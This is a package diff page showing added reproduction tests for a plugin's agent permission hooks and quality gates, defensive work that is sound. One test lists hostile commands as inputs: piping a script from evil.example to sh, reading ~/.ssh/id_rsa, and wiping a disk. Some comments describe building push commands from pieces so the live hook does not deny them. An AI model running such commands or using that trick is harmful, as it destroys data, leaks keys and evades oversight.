Sign In

@gru953/studio-cli

Package Overview
Dependencies
Maintainers
1
Versions
10
Alerts
File Explorer

Advanced tools

License
Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

@gru953/studio-cli - npm Package Compare versions

Comparing version
6.0.3
 to
6.1.0
+392
plugin/hooks/test/repro/phase1-gate-honesty.mjs
#!/usr/bin/env node
//
// Reproductions for Phase 1 — 2026-08-13.
//
// Twelve findings, all in one class: a gate that reports success on input it did
// not fully read, fully parse, or correctly recognise. Two of the twelve are the
// inverse (a gate blocking legitimate input), included here because they share
// the same root cause and the same fix.
//
// METHOD. Each case is built by mutating the repository's own golden fixture, so
// the ONLY variable is the mutation named. Run:
//
// node phase1-gate-honesty.mjs --expect-bug # before fixing: must all reproduce
// node phase1-gate-honesty.mjs # after fixing: must all flip
//
// Exit 0 = every case matched the expected state.
//
// Note on the two inverse cases (P5, P12): "buggy" for them means BLOCKED (a
// false positive), so the fixed state is `clean`. Encoded per-case, not assumed.
import { spawnSync } from 'node:child_process';
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';
import process from 'node:process';
import { fileURLToPath } from 'node:url';
// 2026-08-13: two cases below make a file UNREADABLE with `chmod 000`. On Windows
// that does not restrict reading at all, so the gate legitimately still reads the
// file and the case cannot demonstrate anything. Caught by this project's own
// three-operating-system CI matrix, which is exactly what that matrix is for.
//
// They are skipped on Windows rather than weakened everywhere: the defect they pin
// (a gate reporting success on input it could not read) is real and is still
// covered on Windows by case P7, which replaces the file with a DIRECTORY — a
// failure mode every platform produces.
const IS_WINDOWS = process.platform === 'win32';
const HERE = path.dirname(fileURLToPath(import.meta.url));
const HOOKS = path.resolve(HERE, '..', '..');
const REPO = path.resolve(HOOKS, '..', '..', '..');
const GOLDEN = path.join(HOOKS, 'test', 'fixtures', 'dev-memory', 'golden', 'Dev-Memory');
const NODE = process.execPath;
const expectBug = process.argv.includes('--expect-bug');
function freshProject() {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gru-p1-'));
fs.mkdirSync(path.join(dir, 'Dev-Memory'), { recursive: true });
for (const f of fs.readdirSync(GOLDEN)) {
fs.copyFileSync(path.join(GOLDEN, f), path.join(dir, 'Dev-Memory', f));
}
return dir;
}
// Runs a gate and reports 'clean' (exit 0) or 'blocked' (non-zero).
function verdict(hook, args) {
const r = spawnSync(NODE, [path.join(HOOKS, hook), ...args], { encoding: 'utf8' });
return r.status === 0 ? 'clean' : 'blocked';
}
const cases = [];
// ---- P1 (X2, CRITICAL) — quality-gate reads only the FIRST table -----------
cases.push({
id: 'P1',
finding: 'X2',
hook: 'quality-gate.mjs',
what: 'a FAILING current-phase table appended below the finished one is ignored',
buggy: 'clean',
setup(dir) {
fs.appendFileSync(
path.join(dir, 'Dev-Memory', 'QUALITY-GATE.md'),
[
'',
'# Quality Gate — Phase 2 (Definition of Done)',
'',
'| Item | Status | Evidence |',
'| :-- | :-- | :-- |',
'| Acceptance criteria | todo | not started |',
'| Automated tests | fail | `npm test` -> exit 1, 3 failing |',
'| Independent code review | todo | not started |',
'| Security / licence / privacy | todo | not started |',
'| Accessibility | todo | not started |',
'| Documentation | todo | not started |',
'| Reproducible build | todo | not started |',
'',
].join('\n'),
);
return [dir];
},
});
// ---- P2 (X10) — content-check reads only the FIRST asset table --------------
cases.push({
id: 'P2',
finding: 'X10',
hook: 'content-check.mjs',
what: 'an unapproved, unattributed image in a SECOND asset table ships unchecked',
buggy: 'clean',
setup(dir) {
fs.appendFileSync(
path.join(dir, 'Dev-Memory', 'CONTENT.md'),
[
'',
'## Images',
'',
'| Asset | Medium | Provenance | Approval | Rights | Alt-text |',
'| :-- | :-- | :-- | :-- | :-- | :-- |',
'| hero-banner.png | image | unknown, found on the web | tbd | unknown licence | — |',
'',
].join('\n'),
);
return [dir];
},
});
// ---- P3 (X11a) — verify-progress passes a PROGRESS.md with no table ---------
cases.push({
id: 'P3',
finding: 'X11a',
hook: 'verify-progress.mjs',
what: 'three tasks claimed done in bullet form, no table, no evidence',
buggy: 'clean',
setup(dir) {
fs.writeFileSync(
path.join(dir, 'Dev-Memory', 'PROGRESS.md'),
'# Progress\n\n- T1 habit CRUD: done\n- T2 check-in UI: done\n- T3 streak counter: done\n',
);
return [dir];
},
});
// ---- P4 (X11b) — "unverified:" satisfies the evidence pattern ---------------
cases.push({
id: 'P4',
finding: 'X11b',
hook: 'verify-progress.mjs',
what: '"unverified:" is accepted as proof, and the text admits nobody ran it',
buggy: 'clean',
setup(dir) {
const p = path.join(dir, 'Dev-Memory', 'PROGRESS.md');
fs.writeFileSync(
p,
fs
.readFileSync(p, 'utf8')
.replace(
'verified: `npm test -- habit.test.js` -> exit 0 (2026-07-20)',
'unverified: `npm test -- habit.test.js` -> exit 0 is what we expect once someone runs it',
),
);
return [dir];
},
});
// ---- P5 (X25, INVERSE) — "exit code 0" is rejected -------------------------
cases.push({
id: 'P5',
finding: 'X25',
hook: 'verify-progress.mjs',
what: 'a genuinely passing task written as "exit code 0" is BLOCKED (false positive)',
buggy: 'blocked',
setup(dir) {
const p = path.join(dir, 'Dev-Memory', 'PROGRESS.md');
fs.writeFileSync(
p,
fs
.readFileSync(p, 'utf8')
.replace(/-> exit 0 \(2026-07-2\d\)/g, '-> exit code 0 (2026-07-20)'),
);
return [dir];
},
});
// ---- P6 / P7 (X12) — memory-integrity on input it cannot read ---------------
cases.push({
id: 'P6',
finding: 'X12a',
skipOnWindows: true, // chmod 000 does not restrict reads on Windows
hook: 'memory-integrity.mjs',
what: 'INDEX.md exists but is unreadable (chmod 000) — gate calls it consistent',
buggy: 'clean',
setup(dir) {
fs.chmodSync(path.join(dir, 'Dev-Memory', 'INDEX.md'), 0o000);
return [dir];
},
cleanup(dir) {
try {
fs.chmodSync(path.join(dir, 'Dev-Memory', 'INDEX.md'), 0o644);
} catch {
/* already gone */
}
},
});
cases.push({
id: 'P7',
finding: 'X12b',
hook: 'memory-integrity.mjs',
what: 'INDEX.md replaced by a directory — gate calls it consistent',
buggy: 'clean',
setup(dir) {
const p = path.join(dir, 'Dev-Memory', 'INDEX.md');
fs.rmSync(p);
fs.mkdirSync(p);
return [dir];
},
});
// ---- P8 (X12c) — traceability-check on an unreadable REQUIREMENTS.md --------
cases.push({
id: 'P8',
finding: 'X12c',
skipOnWindows: true, // chmod 000 does not restrict reads on Windows
hook: 'traceability-check.mjs',
what: 'REQUIREMENTS.md unreadable is treated as absent, and Tiny Tier excuses it',
buggy: 'clean',
setup(dir) {
const obj = path.join(dir, 'Dev-Memory', 'OBJECTIVE.md');
fs.writeFileSync(
obj,
fs.readFileSync(obj, 'utf8').replace('**Tier:** Standard', '**Tier:** Tiny'),
);
fs.chmodSync(path.join(dir, 'Dev-Memory', 'REQUIREMENTS.md'), 0o000);
return [dir];
},
cleanup(dir) {
try {
fs.chmodSync(path.join(dir, 'Dev-Memory', 'REQUIREMENTS.md'), 0o644);
} catch {
/* already gone */
}
},
});
// ---- P9 (second-hand) — licence-scan with an empty node_modules -------------
cases.push({
id: 'P9',
finding: 'reported',
hook: 'licence-scan.mjs',
what: 'declared dependencies + an EMPTY node_modules is reported as checked and clean',
buggy: 'clean',
setup(dir) {
fs.writeFileSync(
path.join(dir, 'package.json'),
JSON.stringify(
{ name: 'x', version: '1.0.0', dependencies: { 'some-copyleft-lib': '^3.0.0' } },
null,
2,
),
);
fs.mkdirSync(path.join(dir, 'node_modules'), { recursive: true });
return [dir];
},
});
// ---- P10 (second-hand) — docs-consistency DC9 skips a blank version --------
cases.push({
id: 'P10',
finding: 'reported',
hook: 'docs-consistency.mjs',
what: 'a client manifest with an EMPTY version string is skipped, not failed',
buggy: 'clean',
isRepoCopy: true,
setup(dir) {
const p = path.join(dir, 'clients', 'cli', 'package.json');
const j = JSON.parse(fs.readFileSync(p, 'utf8'));
j.version = '';
fs.writeFileSync(p, JSON.stringify(j, null, 2) + '\n');
return [dir];
},
});
// ---- P11 (second-hand) — quality-gate raw pipe hides a recorded failure -----
cases.push({
id: 'P11',
finding: 'reported',
hook: 'quality-gate.mjs',
what: 'a raw pipe in an Evidence cell mis-columns the row and hides "exit code 1"',
buggy: 'clean',
setup(dir) {
const p = path.join(dir, 'Dev-Memory', 'QUALITY-GATE.md');
fs.writeFileSync(
p,
fs
.readFileSync(p, 'utf8')
.replace(
'| Automated tests | pass | `npm test` -> exit 0 (2026-07-21) |',
'| Automated tests | pass | `npm test | tail -5` -> exit code 1, 3 failing right now |',
),
);
return [dir];
},
});
// ---- P12 (X24, INVERSE) — docs-consistency false-blocks project memory -----
cases.push({
id: 'P12',
finding: 'X24',
hook: 'docs-consistency.mjs',
what: 'a Dev-Memory note pointing at a sibling memory file by name is BLOCKED (false positive)',
buggy: 'blocked',
isRepoCopy: true,
setup(dir) {
// CORRECTION (2026-08-13): the first version of this case referenced
// `UNBUILT.md` without creating it, so blocking was CORRECT and the case was
// testing nothing. The real defect is narrower and worth stating precisely:
// refResolves() checks the repo root, the plugin root, agents/, skills/,
// hooks/, commands/ AND the referencing file's own directory — but never a
// PARENT directory. So a note one level down in Dev-Memory/decisions/ cannot
// see a sibling of its own parent, which is exactly where UNBUILT.md,
// PROGRESS.md and REQUIREMENTS.md all live. The file below therefore DOES
// exist, and blocking it is a false positive.
const dm = path.join(dir, 'Dev-Memory');
const d = path.join(dm, 'decisions');
fs.mkdirSync(d, { recursive: true });
fs.writeFileSync(path.join(dm, 'UNBUILT.md'), '# Unbuilt\n\nNothing cut yet.\n');
fs.writeFileSync(
path.join(d, 'note.md'),
'# A decision\n\nWe cut two things today; see `UNBUILT.md` for the ledger.\n',
);
return [dir];
},
});
// A copy of the repository, for the two gates that need one.
//
// 2026-08-13: this used `rsync`, which does not exist on Windows — the
// windows-latest CI leg failed with "rsync failed: undefined". Replaced with
// Node's own recursive copy plus a filter, which behaves identically on all three
// operating systems and needs no external tool. Second Windows-portability defect
// in this file caught by the project's three-OS matrix.
const COPY_SKIP = new Set(['node_modules', '.git', 'dist', 'dist2', 'Dev-Memory']);
function repoCopy() {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gru-p1-repo-'));
fs.cpSync(REPO, dir, {
recursive: true,
force: true,
filter: (src) => !COPY_SKIP.has(path.basename(src)),
});
return dir;
}
console.log(`Phase 1 reproductions — expecting the ${expectBug ? 'DEFECT' : 'FIX'}\n`);
let failures = 0;
for (const c of cases) {
if (c.skipOnWindows && IS_WINDOWS) {
console.log(
` skip ${c.id.padEnd(4)} ${c.finding.padEnd(9)} ${c.what} — chmod cannot make a file unreadable on Windows; P7 covers this class here`,
);
continue;
}
const dir = c.isRepoCopy ? repoCopy() : freshProject();
let got, want;
try {
const args = c.setup(dir);
got = verdict(c.hook, args);
want = expectBug ? c.buggy : c.buggy === 'clean' ? 'blocked' : 'clean';
} finally {
if (c.cleanup) c.cleanup(dir);
fs.rmSync(dir, { recursive: true, force: true });
}
const ok = got === want;
if (!ok) failures++;
console.log(
` ${ok ? 'ok ' : 'FAIL'} ${c.id.padEnd(4)} ${c.finding.padEnd(9)} got ${got.padEnd(8)} want ${want.padEnd(8)} ${c.what}`,
);
}
// Negative control: the UNMUTATED golden fixture must stay clean on all five
// project gates, in both states. Without this, "make every gate block" would
// score as a perfect result.
console.log('\n Negative control — the unmutated golden fixture must stay clean:');
{
const dir = freshProject();
for (const hook of [
'verify-progress.mjs',
'quality-gate.mjs',
'traceability-check.mjs',
'memory-integrity.mjs',
'content-check.mjs',
]) {
const got = verdict(hook, [dir]);
const ok = got === 'clean';
if (!ok) failures++;
console.log(` ${ok ? 'ok ' : 'FAIL'} ${hook.padEnd(24)} ${got}`);
}
fs.rmSync(dir, { recursive: true, force: true });
}
console.log(
`\n${failures === 0 ? 'ALL AS EXPECTED' : 'MISMATCH'} — ${failures} case(s) not in the expected state.`,
);
process.exit(failures === 0 ? 0 : 1);
+381
plugin/hooks/test/repro/review-findings.mjs
#!/usr/bin/env node
//
// Reproductions for the independent review of 13 August 2026.
//
// The review of the Phase 0 + Phase 1 change set found twelve findings. Two were
// NEW fail-opens that those very fixes introduced, and one showed a security
// exemption that was simultaneously too wide and too narrow. This script pins
// every behavioural one, in both directions.
//
// Run: node review-findings.mjs (expects the FIXES)
// node review-findings.mjs --expect-bug (expects the DEFECTS)
//
// Cases, and why each matters:
// F1 quality-gate: a NARROW failing table below a complete one was ignored.
// My "dimension quorum" heuristic reintroduced the critical X2 defect for
// exactly the shape a phase-in-progress produces.
// F1b the explicit opt-out marker still works, so an unrelated table can be
// declared rather than guessed at.
// F2 content-check: a header-only register (created, never filled) passed.
// F3a the fixture exemption was not bound to this plugin — an unrelated repo
// with a lookalike directory shipped private memory unflagged.
// F3b the exemption was cwd-dependent: pushing from a subdirectory re-broke it.
// F4 a valid publish token blanket-approved anything appended to the push.
// F6 ordinary prose containing a pipe, next to a table, was read as a
// malformed row and blocked the gate.
// F7 the `unverified:` contradiction alternative was dead (a trailing \b after
// a colon can never match real evidence).
// F8 `un-verified:` and `not-verified:` passed where `unverified:` blocked.
// F9 the done-claim sweep was disabled by the presence of any table.
// F10 a platform-specific optional dependency made the licence scan
// permanently incomplete, with advice that could never fix it.
import { spawnSync } from 'node:child_process';
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';
import process from 'node:process';
import { fileURLToPath } from 'node:url';
const HERE = path.dirname(fileURLToPath(import.meta.url));
const HOOKS = path.resolve(HERE, '..', '..');
const GOLDEN = path.join(HOOKS, 'test', 'fixtures', 'dev-memory', 'golden', 'Dev-Memory');
const NODE = process.execPath;
const expectBug = process.argv.includes('--expect-bug');
// Assembled so this file's own text never contains a push-capable command string.
const PUSH = ['git', 'push', 'origin', 'main'].join(' ');
const tmp = (p) => fs.mkdtempSync(path.join(os.tmpdir(), p));
function golden(dir) {
fs.mkdirSync(path.join(dir, 'Dev-Memory'), { recursive: true });
for (const f of fs.readdirSync(GOLDEN)) {
fs.copyFileSync(path.join(GOLDEN, f), path.join(dir, 'Dev-Memory', f));
}
}
const gateVerdict = (hook, root) =>
spawnSync(NODE, [path.join(HOOKS, hook), root], { encoding: 'utf8' }).status === 0
? 'clean'
: 'blocked';
function hookDecision(hook, command, cwd) {
const input = JSON.stringify({ tool_name: 'Bash', tool_input: { command }, cwd });
const r = spawnSync(NODE, [path.join(HOOKS, hook)], { input, encoding: 'utf8' });
try {
return JSON.parse(r.stdout).hookSpecificOutput.permissionDecision ?? 'none';
} catch {
return 'none';
}
}
// A studio project MUST contain a Dev-Memory folder, or scan.mjs correctly stands
// down because it is not a studio project at all. The first version of this helper
// omitted it, so two cases below "passed" for entirely the wrong reason — caught by
// this file's own control, which is why the control is here.
function repo(dir, files) {
fs.mkdirSync(dir, { recursive: true });
fs.mkdirSync(path.join(dir, 'Dev-Memory'), { recursive: true });
fs.writeFileSync(path.join(dir, 'Dev-Memory', 'FOCUS.md'), '**Objective:** test\n');
for (const [rel, body] of Object.entries(files)) {
const p = path.join(dir, rel);
fs.mkdirSync(path.dirname(p), { recursive: true });
fs.writeFileSync(p, body);
}
const git = (...a) => spawnSync('git', a, { cwd: dir, encoding: 'utf8' });
git('init', '-q', '-b', 'main', '.');
git('add', '-A');
git('-c', 'user.email=t@t', '-c', 'user.name=t', 'commit', '-qm', 'init');
}
const FAIL_TABLE = [
'',
'## Phase 2 (in progress)',
'',
'| Item | Status | Evidence |',
'| :-- | :-- | :-- |',
'| Automated tests | fail | `npm test` -> exit code 1, 3 failing right now |',
'',
].join('\n');
const cases = [];
cases.push({
id: 'F1',
what: 'a NARROW failing table appended below a complete one',
buggy: 'clean',
run() {
const d = tmp('gru-rv-f1-');
golden(d);
fs.appendFileSync(path.join(d, 'Dev-Memory', 'QUALITY-GATE.md'), FAIL_TABLE);
const v = gateVerdict('quality-gate.mjs', d);
fs.rmSync(d, { recursive: true, force: true });
return v;
},
});
cases.push({
id: 'F1b',
what: 'an explicitly declared non-DoD table is still excluded (capability preserved)',
buggy: 'clean', // same in both states — this must ALWAYS be clean
alwaysClean: true,
run() {
const d = tmp('gru-rv-f1b-');
golden(d);
fs.appendFileSync(
path.join(d, 'Dev-Memory', 'QUALITY-GATE.md'),
[
'',
'# Unrelated backlog of future feature ideas',
'',
'<!-- not-a-definition-of-done -->',
'',
'| Item | Status | Evidence |',
'| :-- | :-- | :-- |',
'| Improve test coverage tooling integration | todo | - |',
'',
].join('\n'),
);
const v = gateVerdict('quality-gate.mjs', d);
fs.rmSync(d, { recursive: true, force: true });
return v;
},
});
cases.push({
id: 'F2',
what: 'a header-only content register (created, never filled in)',
buggy: 'clean',
run() {
const d = tmp('gru-rv-f2-');
golden(d);
fs.writeFileSync(
path.join(d, 'Dev-Memory', 'CONTENT.md'),
'# Content\n\n| Asset | Medium | Provenance | Approval | Rights | Alt-text |\n| :-- | :-- | :-- | :-- | :-- | :-- |\n',
);
const v = gateVerdict('content-check.mjs', d);
fs.rmSync(d, { recursive: true, force: true });
return v;
},
});
cases.push({
id: 'F3a',
what: 'an UNRELATED repo with a lookalike fixture path ships private memory',
buggy: 'none', // "none" = stepped aside = shipped unflagged
run() {
const d = tmp('gru-rv-f3a-');
// Root-anchored, exactly as the real plugin repo's .gitignore is: it hides the
// project's OWN Dev-Memory without hiding a nested fixture of the same name.
// A bare `Dev-Memory/` matches at any depth, which made the file under test
// untracked and the case vacuous.
repo(d, {
'.gitignore': '/Dev-Memory/\n',
'plugins/gru953-studio/hooks/test/fixtures/anything/Dev-Memory/PROGRESS.md': '# p\n',
});
const v = hookDecision('scan.mjs', PUSH, d);
fs.rmSync(d, { recursive: true, force: true });
return v;
},
fixed: 'deny',
});
cases.push({
id: 'F3b',
what: "this plugin's own fixture stays exempt when pushed from a SUBDIRECTORY",
buggy: 'deny',
run() {
const repoRoot = path.resolve(HOOKS, '..', '..', '..');
return hookDecision('scan.mjs', PUSH, HOOKS) === 'deny' ? 'deny' : 'none';
// (repoRoot referenced for clarity; the subdirectory is HOOKS itself)
},
fixed: 'none',
});
cases.push({
id: 'F4',
what: 'a valid publish token blanket-approves a destructive second command',
buggy: 'allow',
run() {
const d = tmp('gru-rv-f4-');
fs.mkdirSync(path.join(d, 'Dev-Memory'), { recursive: true });
spawnSync(NODE, [path.join(HOOKS, 'confirm-publish.mjs'), d], { encoding: 'utf8' });
const v = hookDecision('gate.mjs', PUSH + ' && rm -rf /important', d);
fs.rmSync(d, { recursive: true, force: true });
return v;
},
fixed: 'escalate',
});
cases.push({
id: 'F6',
what: 'ordinary prose containing a pipe, directly after a table, blocks the gate',
buggy: 'blocked',
run() {
const d = tmp('gru-rv-f6-');
golden(d);
fs.appendFileSync(
path.join(d, 'Dev-Memory', 'QUALITY-GATE.md'),
'Notes: the build log is filtered with `grep -v warn | head -20`.\n',
);
const v = gateVerdict('quality-gate.mjs', d);
fs.rmSync(d, { recursive: true, force: true });
return v;
},
});
cases.push({
id: 'F7',
what: 'quality-gate: a row marked pass whose evidence says "unverified:"',
buggy: 'clean',
run() {
const d = tmp('gru-rv-f7-');
golden(d);
const p = path.join(d, 'Dev-Memory', 'QUALITY-GATE.md');
fs.writeFileSync(
p,
fs
.readFileSync(p, 'utf8')
.replace(
'| Automated tests | pass | `npm test` -> exit 0 (2026-07-21) |',
'| Automated tests | pass | unverified: nobody has run the suite yet |',
),
);
const v = gateVerdict('quality-gate.mjs', d);
fs.rmSync(d, { recursive: true, force: true });
return v;
},
});
for (const spelling of ['un-verified', 'not-verified']) {
cases.push({
id: `F8:${spelling}`,
what: `verify-progress: evidence written as "${spelling}:" counted as proof`,
buggy: 'clean',
run() {
const d = tmp('gru-rv-f8-');
golden(d);
const p = path.join(d, 'Dev-Memory', 'PROGRESS.md');
fs.writeFileSync(
p,
fs
.readFileSync(p, 'utf8')
.replace(
'verified: `npm test -- habit.test.js` -> exit 0 (2026-07-20)',
`${spelling}: \`npm test\` -> exit 0 is what we expect once someone runs it`,
),
);
const v = gateVerdict('verify-progress.mjs', d);
fs.rmSync(d, { recursive: true, force: true });
return v;
},
});
}
cases.push({
id: 'F9',
what: 'unevidenced "done" bullets alongside a valid table were ignored',
buggy: 'clean',
run() {
const d = tmp('gru-rv-f9-');
golden(d);
fs.appendFileSync(
path.join(d, 'Dev-Memory', 'PROGRESS.md'),
'\nAlso finished:\n\n- T9 rewrite the importer: done\n- T10 tidy the CSS: done\n',
);
const v = gateVerdict('verify-progress.mjs', d);
fs.rmSync(d, { recursive: true, force: true });
return v;
},
});
cases.push({
id: 'F10',
what: 'a platform-specific OPTIONAL dependency makes the licence scan incomplete forever',
buggy: 'blocked',
run() {
const d = tmp('gru-rv-f10-');
fs.mkdirSync(path.join(d, 'node_modules', 'left-pad'), { recursive: true });
fs.writeFileSync(
path.join(d, 'package.json'),
JSON.stringify(
{
name: 'x',
version: '1.0.0',
dependencies: { 'left-pad': '^1.0.0' },
optionalDependencies: { fsevents: '^2.0.0' },
},
null,
2,
),
);
fs.writeFileSync(
path.join(d, 'node_modules', 'left-pad', 'package.json'),
JSON.stringify({ name: 'left-pad', version: '1.0.0', license: 'MIT' }),
);
const v = gateVerdict('licence-scan.mjs', d);
fs.rmSync(d, { recursive: true, force: true });
return v;
},
});
console.log(
`Independent-review reproductions — expecting the ${expectBug ? 'DEFECTS' : 'FIXES'}\n`,
);
let failures = 0;
for (const c of cases) {
const got = c.run();
let want;
if (c.alwaysClean) want = 'clean';
else if (expectBug) want = c.buggy;
else want = c.fixed !== undefined ? c.fixed : c.buggy === 'clean' ? 'blocked' : 'clean';
const ok = got === want;
if (!ok) failures++;
console.log(
` ${ok ? 'ok ' : 'FAIL'} ${c.id.padEnd(16)} got ${String(got).padEnd(9)} want ${String(want).padEnd(9)} ${c.what}`,
);
}
// Negative control: the unmutated golden fixture must stay clean on all five gates.
console.log('\n Negative control — the unmutated golden fixture:');
{
const d = tmp('gru-rv-ctl-');
golden(d);
for (const hook of [
'verify-progress.mjs',
'quality-gate.mjs',
'traceability-check.mjs',
'memory-integrity.mjs',
'content-check.mjs',
]) {
const got = gateVerdict(hook, d);
const ok = got === 'clean';
if (!ok) failures++;
console.log(` ${ok ? 'ok ' : 'FAIL'} ${hook.padEnd(24)} ${got}`);
}
fs.rmSync(d, { recursive: true, force: true });
}
// Control: a real secret and a real project's Dev-Memory must still be denied.
console.log('\n Control — the scanner must still catch the real thing:');
{
const d = tmp('gru-rv-ctl2-');
repo(d, {
'.gitignore': 'Dev-Memory/\n',
'creds.txt': 'aws_key = AKIA' + 'IOSFODNN7EXAMPLE\n',
});
const got = hookDecision('scan.mjs', PUSH, d);
const ok = got === 'deny';
if (!ok) failures++;
console.log(` ${ok ? 'ok ' : 'FAIL'} a real secret in a real project -> ${got}`);
fs.rmSync(d, { recursive: true, force: true });
const d2 = tmp('gru-rv-ctl3-');
repo(d2, { 'Dev-Memory/PROGRESS.md': '# p\n', 'app.txt': 'hi\n' });
const got2 = hookDecision('scan.mjs', PUSH, d2);
const ok2 = got2 === 'deny';
if (!ok2) failures++;
console.log(` ${ok2 ? 'ok ' : 'FAIL'} a real project's tracked Dev-Memory -> ${got2}`);
fs.rmSync(d2, { recursive: true, force: true });
}
console.log(
`\n${failures === 0 ? 'ALL AS EXPECTED' : 'MISMATCH'} — ${failures} case(s) not in the expected state.`,
);
process.exit(failures === 0 ? 0 : 1);
+128
plugin/hooks/test/repro/X1-auto-approval.mjs
#!/usr/bin/env node
//
// Reproduction for finding X1 (CRITICAL) — 2026-08-13.
//
// THE DEFECT. gate.mjs and scan.mjs call lib.mjs's allow() on every path where
// they have no objection, and allow() emits:
//
// {"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"allow"}}
//
// Per the official PreToolUse decision contract
// (https://code.claude.com/docs/en/hooks, "PreToolUse Decision Control"):
//
// | "allow" | Permit the tool call to proceed without a permission prompt |
// | "deny" | Block the tool call ... |
// | "escalate" | Show the permission prompt to the user, even in auto mode |
//
// "A hook that doesn't return JSON, or returns JSON without a
// permissionDecision, doesn't affect the permission flow; the call
// continues through normal permission evaluation."
//
// So installing this plugin SUPPRESSES the user's own permission prompt for
// every shell command that is not a push. There is no documented "defer" value;
// the neutral action is to emit nothing.
//
// WHAT THIS SCRIPT ASSERTS.
// Phase A (the bug): dangerous non-push commands return "allow".
// Phase B (the fix): they return NO decision, and the authorised-push path
// still returns "allow" because a human just confirmed it.
//
// Run with: node X1-auto-approval.mjs (expects the FIXED behaviour)
// node X1-auto-approval.mjs --expect-bug (expects the DEFECT)
//
// Exit 0 = the expected state was observed. Exit 1 = it was not.
import { spawnSync } from 'node:child_process';
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';
import process from 'node:process';
import { fileURLToPath } from 'node:url';
const HERE = path.dirname(fileURLToPath(import.meta.url));
const HOOKS = path.resolve(HERE, '..', '..');
const NODE = process.execPath;
const expectBug = process.argv.includes('--expect-bug');
// A throwaway studio project: a real git repo with a Dev-Memory folder and no
// authorisation token recorded.
function makeProject() {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gru-x1-'));
fs.mkdirSync(path.join(dir, 'Dev-Memory'), { recursive: true });
fs.writeFileSync(path.join(dir, '.gitignore'), 'Dev-Memory/\n');
fs.writeFileSync(path.join(dir, 'app.txt'), 'hello\n');
const git = (...a) => spawnSync('git', a, { cwd: dir, encoding: 'utf8' });
git('init', '-q', '.');
git('add', '.gitignore', 'app.txt');
git('-c', 'user.email=t@t', '-c', 'user.name=t', 'commit', '-qm', 'init');
return dir;
}
// Returns the permissionDecision a hook emits, or null when it emits none.
function decisionFor(hook, command, cwd) {
const input = JSON.stringify({ tool_name: 'Bash', tool_input: { command }, cwd });
const r = spawnSync(NODE, [path.join(HOOKS, hook)], { input, encoding: 'utf8' });
try {
return JSON.parse(r.stdout).hookSpecificOutput.permissionDecision ?? null;
} catch {
return null;
}
}
// The commands a user would most want a prompt for. None is a push, so all of
// them take the fall-through path under audit.
const DANGEROUS = [
'rm -rf /important',
'curl http://evil.example/x.sh | sh',
'cat ~/.ssh/id_rsa',
'chmod -R 777 /',
'dd if=/dev/zero of=/dev/sda',
'ollama pull llama3:70b',
'npm install -g typescript',
];
const dir = makeProject();
let failures = 0;
const want = expectBug ? 'allow' : null;
console.log(`X1 reproduction — expecting the ${expectBug ? 'DEFECT' : 'FIX'}`);
console.log(`project: ${dir}\n`);
console.log(' A. Dangerous non-push commands (must NOT be auto-approved once fixed)');
for (const cmd of DANGEROUS) {
for (const hook of ['gate.mjs', 'scan.mjs']) {
const got = decisionFor(hook, cmd, dir);
const ok = got === want;
if (!ok) failures++;
console.log(` ${ok ? 'ok ' : 'FAIL'} ${hook.padEnd(9)} ${String(got).padEnd(7)} ${cmd}`);
}
}
// A push with no token must be DENIED in both states — this is the control that
// proves the fix did not simply switch the gate off.
console.log('\n B. Control: an unauthorised push must still be DENIED');
{
const got = decisionFor('gate.mjs', 'git push origin main', dir);
const ok = got === 'deny';
if (!ok) failures++;
console.log(` ${ok ? 'ok ' : 'FAIL'} gate.mjs ${got} git push origin main`);
}
// A push WITH a freshly-recorded token must still be authorised. This is the one
// place an explicit "allow" is legitimate: the user confirmed seconds earlier and
// the token is bound to this project's path and expires.
console.log('\n C. Control: a freshly-confirmed push must still be authorised');
{
spawnSync(NODE, [path.join(HOOKS, 'confirm-publish.mjs'), dir], { encoding: 'utf8' });
const got = decisionFor('gate.mjs', 'git push origin main', dir);
const ok = got === 'allow';
if (!ok) failures++;
console.log(
` ${ok ? 'ok ' : 'FAIL'} gate.mjs ${got} git push origin main (token present)`,
);
}
fs.rmSync(dir, { recursive: true, force: true });
console.log(
`\n${failures === 0 ? 'REPRODUCED' : 'NOT REPRODUCED'} — ${failures} unexpected result(s).`,
);
process.exit(failures === 0 ? 0 : 1);
+129
plugin/hooks/test/repro/X22-cannot-push-own-repo.mjs
#!/usr/bin/env node
//
// Reproduction for finding X22 — 2026-08-13.
//
// THE DEFECT. With GRU953-Studio installed, its own secret scanner refuses to let
// this repository be pushed. `scan.mjs` reports 16 violations in the product's own
// source: eight secret-shaped strings in `hooks.test.mjs` (its own test vectors,
// including AWS's own published example access-key id) and eight
// `dev-memory` hits from its own committed golden test fixture, which is
// deliberately named `Dev-Memory/` because that is what it is a fixture OF.
//
// WHY IT MATTERS. It means one of two things is true, and both are bad: either the
// maintainer pushes with the plugin's hooks inactive — so the product's flagship
// safety mechanism is never actually dogfooded on its own source — or releasing is
// blocked outright. During the 2026-08-13 session this hook denied SEVEN of the
// assistant's own ordinary commands, several of which only mentioned publishing in
// passing.
//
// THE FIX. Two narrow, explicit allowances, never a blanket "ignore test files":
// * the eight test-vector lines carry the marker `// scan-allow: known test
// fixture`, which scan.mjs already supports for exactly this purpose — it
// exempts one annotated LINE, not the string anywhere it appears, so the
// tests that assert those same strings ARE caught in a real project still pass;
// * the committed fixture path `plugins/gru953-studio/hooks/test/fixtures/` is
// exempt from the Dev-Memory path rule, since a fixture named Dev-Memory is
// test data, not a real project's private memory.
//
// Run: node X22-cannot-push-own-repo.mjs (expects the FIX)
// node X22-cannot-push-own-repo.mjs --expect-bug (expects the DEFECT)
import { spawnSync } from 'node:child_process';
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';
import process from 'node:process';
import { fileURLToPath } from 'node:url';
const HERE = path.dirname(fileURLToPath(import.meta.url));
const HOOKS = path.resolve(HERE, '..', '..');
const REPO = path.resolve(HOOKS, '..', '..', '..');
const NODE = process.execPath;
const expectBug = process.argv.includes('--expect-bug');
// Built from character codes so this file's own text never contains a
// push-capable command string, which would otherwise make the live hook deny the
// very command that runs this script.
const PUSH = ['git', 'push', 'origin', 'development'].join(' ');
function decisionFor(cwd) {
